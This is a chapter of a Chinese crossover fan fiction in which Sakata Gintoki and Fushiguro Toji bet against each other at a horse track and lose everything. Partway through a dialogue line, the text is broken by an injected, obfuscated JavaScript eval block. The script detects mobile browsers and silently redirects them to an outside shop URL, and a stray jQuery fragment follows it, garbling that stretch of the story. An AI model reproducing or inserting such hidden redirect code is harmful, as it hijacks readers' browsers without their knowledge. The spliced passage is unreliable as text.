20.第二十章
    因为这次委托不确定要多久,所以一开始坂田银时等人和夜蛾正道直接请了几天的假。

    这在一般学校绝对不会被同意的事情,在咒术师身上却是家常便饭。

    夜蛾正道也没有怎么为难他们,算是很利落得同意了他们请求。

    没人想到委托能够结束得那么干净利落,以至于请的假期一半都还没有用完。

    对于剩下假期怎么安排这件事上,几个人的想法出奇的统一,那就是不能浪费在学校里。

    苦于被困在高专这个深山老林,没什么宣传自己偶像途径的宅十四,率先丢下旁人,独自一个人跑走了。

    冥冥翻了翻手机里的信息,表示正好还有几桩生意可以在这个机会谈谈,于是也离开了。

    剩下的坂田银时先偷摸回了趟高专,找家入硝子治好身上的伤,洗了澡换了套衣服之后,就又溜了出去。

    在四宫先生提供的酒店中,心安理得地一觉睡到大中午,又美美地蹭了一顿酒店提供的午餐。

    然后他捏着手里的银行卡,再次大摇大摆地进了另一家小钢珠店。

    名为“下一把一定能赢”的赌徒心理让他在原地枯坐了数个小时。

    结果当然是颗粒无收。

    小钢珠店的老板对于遇到一个冤大头这件事,倒是乐开了花。

    他捧着切好的水果端了过来,看着脸色越来越臭的坂田银时,想着不能让冤大头因为输得没有兴致,以后再也不来了,做成了一锤子买卖。

    斟酌了一下,他从柜台拿出一张赌马券:“看先生在这里坐了一下午了,要不要出去透透气?这个赌马场是我常去的,要不要去那边碰碰运气?”

    坂田银时抬眼看了看赌马券,伸了伸因为久坐而有些发酸的腰。

    “行吧,那我就去看看。”

    他顺着赌马券上的地址,来到了地点。

    赌马他也不是没有玩过,至于结果嘛。

    只能说人菜瘾大。

    他再次大摇大摆地进去,随手买了张券就进入了内场。

    然后一眼就看到了昨天和他在厕所对战的某人。

    两人相视一眼,在心里互叹“晦气”,同时嫌弃地移开了眼。

    偏偏很不巧,场内几乎坐满了人,只有伏黑甚尔那边,因为他独特的不好惹气质,让他座位周围一圈都没人坐。

    坂田银时只好捏着鼻子,坐在了伏黑甚尔附近座位中最远的一个上面。

    然后偷偷拿出手机,开始给冥冥通风报信。

    对于伏黑甚尔来说,他一向不喜欢做不能给他带来利益的事情。

    在这里对五条家的六眼下手,对他来说不光容易被五条家盯上,影响他的诅咒师事业,而且还会被赌马场拉黑,进而影响他的赌马生涯。

    所以在一开始的相看两厌之后,他反而提起了一丝好奇,对于他来说,五条悟和赌场实在是难以凑在一起说。

    他右手撑着额头,天予咒缚给予的良好视力,让他一眼就瞟到了坂田银时手上的赌马券。

    是他最不看好的3号马。

    他嗤笑一声,觉得小少爷应该是第一次来这种地方,就这水平,肯定会输得连裤衩子都不剩。

    抖了抖手上写着5号的赌马券,在发令枪的声响下,伏黑甚尔开始转而聚精会神地关注赛事。

    只见所有马狂奔着四蹄,在观众席的加油声中一齐冲了出去。

    泥泞的地面被踩出一道道马蹄印,看台上的人们挥舞着手里的券,为自己选中的马或叹息,或喝彩。

    被坂田银时选中的3号马不紧不慢地跑在中间位置,因为速度不是很快,现在被堵在了几匹马的中间难以提速。

    对此,伏黑甚尔丝毫不觉得意外,他歪头朝着坂田银时阴阳怪气地“哈”了一声。

    等他再转过头看向马场,被他选中的5号马一个踉跄,狠狠摔在了泥中,然后就这么顺势一动不动地躺在赛道上,未能完成比赛直接被淘汰。

    伏黑甚尔:“…  …”

    同样凭借六眼看清伏黑甚尔手里赌马券的坂田银时,不甘示弱地指着地上扑腾的5号马,朝着伏黑甚尔贱兮兮地大笑着:“诶呀,这匹马怎么躺下来睡着了?难道刚刚是在赛场上梦游吗?哈哈哈哈哈。”

    还没等坂田银时高兴完,被他选中的3号马,因为身边5号马的倒下,多出了一个突围的口子,于是抓紧机会准备奋起直追。

    只见它朝着侧边大蹄子一迈,鬃毛一甩,一副王者风范的弯道超车,结果却一个侧边打滑,直挺挺地倒在了地上。

    甚至因为倒下前在提速,所以整个马旋转着滑了出去,撞倒了几匹马,最终和装死的5号马撞在了一起。

    来了一出精彩的保龄球全垒打。

    坂田银时:“… …”

    伏黑甚尔毫不留情地嘲讽回来:“哟,5号马这是去哪学了街舞吗?这圈转得够多啊。”

    两人再次对视,空气中漫延着激烈的火花。

    “呵,大叔,手气差就手气差,一直盯着别人的马干什么?是因为被淘汰得太快没有事情做吗?”

    “彼此彼此吧?你选的这马也就多撑了十几秒吧?”

    两个人谁也不服气谁,都觉得自己虽然赌运差,但怎么都不能被对方看扁。

    于是在比赛刚刚结束,两个人一齐站了起来,立马压了下一场的赌注。

    第一次,伏黑甚尔选的马跑着跑着开始散步,坂田银时还没笑完,就看到他选的马甩着尾巴凑上去献殷勤。

    下一场,坂田银时选的马不知道突然发生疯,开始上蹿下跳,把一众马都挨个撞倒,比赛不得不在一开始就宣布结束。

    下下一场… …

    坂田银时将手中的一沓赌马券捏成一团:“你是不是被什么奇怪的咒灵诅咒了?比如什么‘进赌马场必出意外’之类的?!”

    “呵,我才要说是不是你影响了比赛呢!平常的时候我就算输,也不会输得这么莫名其妙。”

    “莫名其妙?”坂田银时用力拍了拍伏黑甚尔座位的靠背,“怎么看都是你做了什么手脚吧?知道自己赢不了所以干脆让别人一起输,所谓的干掉其他竞争者,自己就能得第一的这种卑劣手段!”

    “说得这么头头是道,不会你就是这么干的吧?”

    两个人谁也骂不过谁,干瞪眼了一会,最后还是决定用实力说话。

    “抱歉先生,您卡里的余额已经不够了。”

    坂田银时沉默了一下:“开玩笑的吧?里面可是有三千万的啊!”

    “嗤,区区三千万,也就是我一单子的事情。”

    伏黑甚尔嘲笑了一番,然后打开自己的钱包:“… …”

    “怎么了?你不会也没有钱了吧?”坂田银时捂着嘴嘲笑着,得瑟地掏出手机,打给了之前在食堂给了他号码的五条翔一。

    “喂,五条不记得叫啥君,给我卡里再打三千万过来。”

    “啊?悟大人是遇到什么事情了吗?”

    “没有啊,麻烦快一点,我有急用

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200178|148481||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,拜。”坂田银时合上手机,一只手撑着柜台,一只手扶着自己的额头,“诶呀诶呀,区区三千万,也就是我一个电话的事情。”

    伏黑甚尔从来没觉得一个人竟然能烦人成这个样子,要不是怕赌马场把他拉黑,他现在已经一拳揍上坂田银时那得瑟的脸上了。

    所谓输人不输阵,伏黑甚尔最终嗤笑着合上钱包:“不管什么事,就只知道靠家里的小屁孩,要是被家长知道把钱花在赌博上,小心回家被打屁股。”

    他转身潇洒地离开了赌马场,留给坂田银时一个成熟大人的背影。

    坂田银时才不怕什么“家长威胁论”,他只觉得自己赢了这一局,于是扬声追着伏黑甚尔继续补刀喊:“是准备去卖屁股赚赌资了吗?!大叔注意身体啊!年纪大了肾衰弱得很快的!”

    “咔嚓”一声,铝合金实心的大门把手像豆腐一样,轻易得被伏黑甚尔捏碎。

    “我改变主意了小鬼。”伏黑甚尔狰狞着侧头看向坂田银时,“果然还是在这里先把你给宰了吧。”

    赌马场的那头,观众捏着手里的票热火朝天,这边两人龇牙咧嘴,怒目而视也是同样的热火朝天。

    一直站在柜台的工作人员脸上已经冒出了冷汗。

    一开始他被两人那豪掷千金的架势酸得不行,在他们嘴里好像三千万就像是路边的石子一样不值钱。

    但眼看着两人你一句阴阳,我一句怪气,气氛渐渐焦灼起来,他开始后知后觉感觉到不对劲。

    不是吧?他只是个来做兼职的大学生,只是听说这边时薪高就屁颠屁颠地过来打工了,谁知道会遇上这种黑1帮对峙的情节。

    等他们火并完了之后,自己会不会被当做目击者灭口啊?

    就在他忍不住想要拿出口袋里的手机拨打报警电话的时候,赌场的总经理终于出现了。

    “两位先生,公共场合请注意。”

    总经理一看就是对这个场面很熟悉,面上淡定得连眼角鱼尾纹的褶子数量都没变:“我们赌马场不光和东京其他赌马场有联系,还和诸多小钢球店等类似产业有投资,所以两位如果行为欠妥被我们拉黑的话,以后可能就要换个城市游玩了。”

    话语里没有过多的劝阻,光是说出这个事实就已经足够让坂田银时和伏黑甚尔的头脑冷静下来了。

    他俩对视了一眼,最后还是咂着嘴别开了视线。

    正巧,这时坂田银时的手机响了一声,打开一看,是汇款成功的提示。

    他抬起下巴往马场别了别:“怎么样?再战?”

    “嗤。”伏黑甚尔掏出手机,毫不客气地给熟悉的中介人发短信,“再战就再战,小鬼年纪不大,嘴倒是很硬,我今天就要让你看看,你的赌运在我之下!”

    “嘴硬怎么了?总比某人一把年纪了想硬都硬不起来的好。”

    “咳咳。”总经理不自然地咳嗽了声,“先生,请这边下注。”

    欢呼再次在赌马场响起,两人刚刚的一触即发像是一滴水一样,悄无声息地蒸发在阳光下。

    汗水,热血,泪水,梦想,在这个一念破灭,一念万贯的地方,周围围绕着的都是一群没有理智的赌徒。

    你坐在其中,不消片刻便会被同化,金钱在这里不是衡量商品价值的工具,而是一串串没有实感的数字。

    等到回过神,就会发现自己身着片缕,凄惨地被赶出了店。

    坂田银时和伏黑甚尔沉默地站在赌马场门口,低头看着自己全身上下仅剩的内裤,陷入了沉思。